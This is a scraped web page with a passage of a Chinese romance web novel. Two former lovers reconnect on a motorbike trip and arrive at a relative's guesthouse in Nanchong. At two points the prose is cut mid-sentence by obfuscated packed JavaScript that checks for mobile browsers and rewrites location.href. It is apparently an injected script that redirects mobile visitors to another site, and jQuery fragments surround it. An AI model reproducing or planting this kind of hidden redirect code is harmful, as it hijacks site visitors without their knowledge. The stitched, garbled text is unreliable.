p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15057078|162174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方简单回复道:【我看过了你发的画,很有灵气,也符合央美的审美风格,他如果有进一步深造的意愿,可以尝试考我的研究生。】 许璋有点激动,措辞了好几遍,在微信上给他发了段感谢。 那天和秦阳加完好友后,他给许璋看了很多画,都是参加艺考前画的,集训风格就是奔着央美去的,虽然高考发挥失常,但他仍然想继续考取梦中情校。 说起高考的事,秦阳的语音有几处哽咽:别人发挥不好,可能还有希望,而他发挥不好,是完全握不住笔。 许璋没能握住那支笔,希望他能够握住。黄盛方认可了秦阳的画,比认可他自己的还让他开心。 黄盛方回了一句“有空见面聊”,许璋愣了会儿,发送“好的”。 他有五年没见过黄盛方了,不知道再见会是什么样子。 回完消息,他回忆起小时候的事,以前没觉得不对劲,现在才发现,许明楼好像很讨厌黄盛方…… 身后响起脚步声,伴随着塑料袋的摩擦。 杭樾走到他身边,说:“给你开了盒冲剂,待会儿记得喝。” 许璋看向他手里的塑料袋:“……谢谢。” 他刚要去拿,忽然手里被塞了个东西,细细长长带着体温,定睛一看,是支润唇膏。 “你嘴巴好干,擦一擦。”杭樾看着他。 许璋愣愣道:“可能是被风吹的。” 他心道杭樾算是个好人,不仅放下过去,还给前任买药,买唇膏,可越是这么想,心里的叹气越强烈。 他打开唇膏,散发着淡淡的蜂蜜味,正要往嘴上擦,却看见膏体凹了一块,忽然反应过来,这是杭樾用过的。 ……原来不是新买的。 许璋的动作僵住,脸颊慢慢发烫。 这是在干什么,未免太暧昧了,这不好吧。 他想悄悄把唇膏放下,抬头正对上杭樾深邃的眼睛。 “涂吗?”杭樾盯着他,“不涂还我。” 听见这话,许璋的心猛然一跳。 他忽然觉得,自己似乎误会了,杭樾的表现不是放下,反而像是……在撩他。 19.第 19 章(下章入v) 几乎相同的话,杭樾高中也说过。 当时许璋刚跑完体测,累得虚脱,杭樾拿了瓶水过来,那是他们打完架的第二周。 前一天,老师联系了双方家长,据说杭樾被训了一顿,估计迫不得已前来和解。 许璋不想搭理他,但又实在很渴,小卖部要走五分钟。 他望着水犹豫不决,杭樾说:“喝吗?不喝还我。” 他想了想,还是喝了。 后来两人搞在一起,闲聊之余,才知道杭樾是故意的。 他承认:“那瓶水你喝了一半,剩下的我自己喝了。” 许璋无语:“你怎么想的啊?” 杭樾笑:“想泡你呗,这都看不出来。” 他喝了他喝过的水,现在给他一支他用过的唇膏,这种暗示似乎只有他们两才懂,明明没有说出口,却又那么明目张胆。 许璋握紧唇膏,外壳的温度融化在手心,蜂蜜的甜味愈发明显…… 杭樾伸出手想拿回去,在碰到许璋的时候,运动手环震动了一下,提示他心率过高。 许璋一缩:“什么东西?” 杭樾把手收了回去:“没什么。” 许璋顺势把唇膏放进口袋,支吾道:“你先借我用吧。” 他的耳朵微微泛红,杭樾扬起唇角:“行,记得涂。” 折腾了半夜,三人总算缓过来,回去继续睡觉,杭樾和邢远则去市区送药。 唐思瑞脸色恹恹的,一句话没说,回到房间就闷头躺下。 房间黑咕隆咚的,旁边两人都睡了,许璋睡不着,在黑暗中摸索到那支唇膏。 他慢吞吞地打开圆管,动作磨磨蹭蹭,将膏体涂抹在唇上。蜂蜜在唇瓣上化开,带着一丝清甜的花香,不像杭樾会用的味道。 他以前用过唇膏吗? 好像从来没见过。 许璋心想,这叫什么,间接接吻? 他禁不住在床上蹭了蹭,如同一只在草地翻滚的野兔,借着窗外的月光,拍了张照片发给冉佑。 冉佑居然没在打.炮,也没在打牌,回的很快:[这是什么,按.摩.棒?这也太小了吧。] [不爱社交:你要死啊。] [冉佑:大晚上发什么骚。] [不爱社交:哼。] [冉佑:不管是什么东西,请把我买的兔子贴纸贴上去好吗,让它沾上兔子味/口水/] 他往许璋的行李箱塞了一堆东西,其中包括定制的兔子贴纸,许璋嫌弃太粉,不肯贴在行李箱上。 这会儿又不觉得粉了。 他摸着黑拿出来,给唇膏贴了个最小的。 现在唇膏属于他了,嘿嘿。 [不爱社交:睡不着,失眠,我乱糟糟的。] [冉佑:撸一发,或者找ex打一炮,保管一觉睡到天亮。] [不爱社交:我觉得他想跟我复合。] 那头安静了两分钟,许璋迫切地查看手机。 [冉佑:你在开玩笑吗?] [冉佑:你不是说走出来了吗?] [冉佑:我让你们打.炮只是口嗨,不是真让你送上去给他操。] [冉佑:你是说着玩的吧?不会再真情实感了吧?] 许璋看着屏幕啃指尖,犹豫不定。 [冉佑:说话啊!你这样我很慌!] [不爱社交:唇膏是他的。] [冉佑:???] 许璋放下手机,用枕头蒙住脑袋,彻底乱了套。 第二天睡醒,大家又生龙活虎,好像昨晚要死要活的不是他们。 江木舜说:“这件事只有我们五个知道,咱们也算是过命的交情了,记得保密,太丢人了。” 许璋说:“我嘴巴很严。” 唐思瑞挥手:“好兄弟一辈子,南充见。” 许璋迟疑片刻,还是说:“拜拜。” 他们走后,许璋在院子里画了张画,太阳完全升起来,院里冷冷清清,树枝光秃秃的。 杭樾杳无音信,仿佛昨天的邀请只是个玩笑。 许璋最后看了眼消息,打开手机订酒店,然后离开重庆。 路上格外拥堵,直到晚上九点,摩旅队才开进南充市区。 今晚住的是民宿,拐进巷子后有个小门,里面的空间豁然开阔。 民宿的大堂装修得古典富丽,鹅卵石铺路,透明玻璃道,池水直通大堂内部,脚下锦鲤游动,周围都是红木家具,古色古香。 唐思瑞惊叹:“消费大升级啊,这真是一百一晚的民宿?我们不会被骗了吧。” 周皓背着他的包,走在他身后,大家都东张西望,一副好奇的样子。 “熟人经营的。”杭樾说,“打了骨折价。” “再骨折价,也不能一百一晚吧!”有人说,“这茶具这桌子,全是金钱的味道。” 唐思瑞刚要质疑,一个穿皮草的女人走过来,秀丽的脸上浓妆艳抹,众人还没反应过来时,她往杭樾身上靠去。 女人抱了他一下,笑着说:“几个月没见,好像瘦了点,路上很辛苦吧,哇,这么多人呢。” 空气安静下来,大家的眼神怪怪的,唐思瑞就差把“哥你为了住豪华民宿卖身了吗”写脸上了。 杭樾无奈地介绍:“这是我表姐杭筱,这家民宿的老板。” 唐思瑞顿时松了口气,江木舜夸赞:“原来是老板,好有品味,院子里那景观石一看就有来历。” “识货,那是我从泰山运回来的。”杭筱笑道。 “姐夫呢?”杭樾问。 “去成都谈事情了,明晚才回来,你估计见不到了。” 杭筱找人安排房间,这家店的院子不大,摩托车只能停在外面,杭樾让他们把大门空出来,说一会儿还有人要来。 房间在二楼,过道是开放式的,带着点南洋风格。 杭樾和邢远在过道抽烟,对面是楼下的小池塘。 邢远看着刻意空出来的庭院,意有所指道:“这门是不是小了点,X5开不进来吧。” “正常都能开,除非他技术不行。”杭樾说。 邢远哂笑:“你把人惹到了,还指望他会来?” 杭樾看向他:“我惹他?简直倒反天罡,他跟你说什么了?” “不对。”他皱眉,“他怎么什么都跟你说。” “他什么都没说,你既然没那个心思,何必去招惹人家。” 杭樾沉默片刻,一拳砸在他肩上:“你有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15061779|162174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点奇怪,为什么突然对他的事这么感兴趣?” “我怕你祸害别人。”邢远不在意地笑,“他看起来挺单纯的,别玩人家。” “首先,我什么时候祸害过别人,其次,他哪门子单纯!兄弟,你才见过他几次,就被哄的一愣一愣的,你给我仔细说说,到底发生什么了。” 邢远刚要说话,杭筱的声音插.了进来。 “你祸害的还少了?小时候上补习班,不知道辜负多少芳心,阿远,他这次又祸害谁了?” 邢远笑着说:“姐,还是你明事理。” “你们简直蛇鼠一窝。”杭樾无语。 杭筱取了根女士烟点上,幽幽道:“我总觉得,可能阿远才是我弟弟,我们家异性恋比较多,居然出了你这么个男同,我都怀疑嬢嬢是不是抱错了。” 杭樾望向邢远,阴阳怪气:“点你呢异性恋,赶快谈个女朋友,证明是我妈抱错了。” 杭筱说:“你还好意思说别人,你自己先谈个男朋友吧,人家男同玩得花里胡哨的,你每次过年都混在孩子堆里,我都不好意思跟别人说我弟是男同,行不行啊你。” 邢远笑得很大声,杭樾气道:“你少管我。” 杭筱吐槽他:“还在朋友圈发什么佛珠,知道的以为出家了,不知道的还以为你搞诈.骗呢。” “那是小叶紫檀!” “一眼假,找微商不如找我。” “……” 杭筱问:“你那个朋友呢,还来不来?不会放你鸽子吧,都十一点了,不来我关门了。” 杭樾被她怼得够呛,此时又被戳中痛点,没好气地说:“谁家民宿十一点关门,人家都二十四小时营业。” “我高兴几点关就几点关。”杭筱哼道:“哪个朋友啊,留这么大空地给他,我们这儿又不偏远,至于开那么久吗。你的兄弟们都吃过宵夜了,他来迟了可没得吃哦。” 杭樾望着空空的院子,忽然觉得她说得对,许璋或许不会来了。 这个邀请,本就是他一厢情愿。 许璋外表看着柔软,实际上心比任何人都硬,就像跟他提分手的时候,那样毫不犹豫,快刀斩乱麻。 他会搞暧昧,会害羞,会动心,但绝不会做影响利益的决定。真正优柔寡断、内耗多虑的,是杭樾自己。 他低声道:“不来就算了,随他去吧。” 杭筱惊奇:“你不高兴了吗?阿远,他是不是不高兴了,刚才我骂他他都没挂脸……这怎么回事?” 邢远咳嗽:“姐,放过他吧,他被你说的快心碎了。” “啊?什么玩意儿就碎了……” 这时,一辆宝马开了进来。 杭樾瞬间看了过去,连烟灰落在手上都没发现。 杭筱逐渐明白过来:“哟,搁这儿演川剧变脸呢。” 杭樾眼底的笑意一闪而过,掐灭烟道:“我先去睡了,老板,记得找人下去接客。” 他转身欲走,不想被楼下的人看见,杭筱说:“等等,这客恐怕需要你亲自接。” “我又不是你的员工,没兴趣。” 杭筱拽住他:“别装逼了,他卡住了。” 杭樾赶紧往下看,只见许璋的车就这么卡在了大门中间。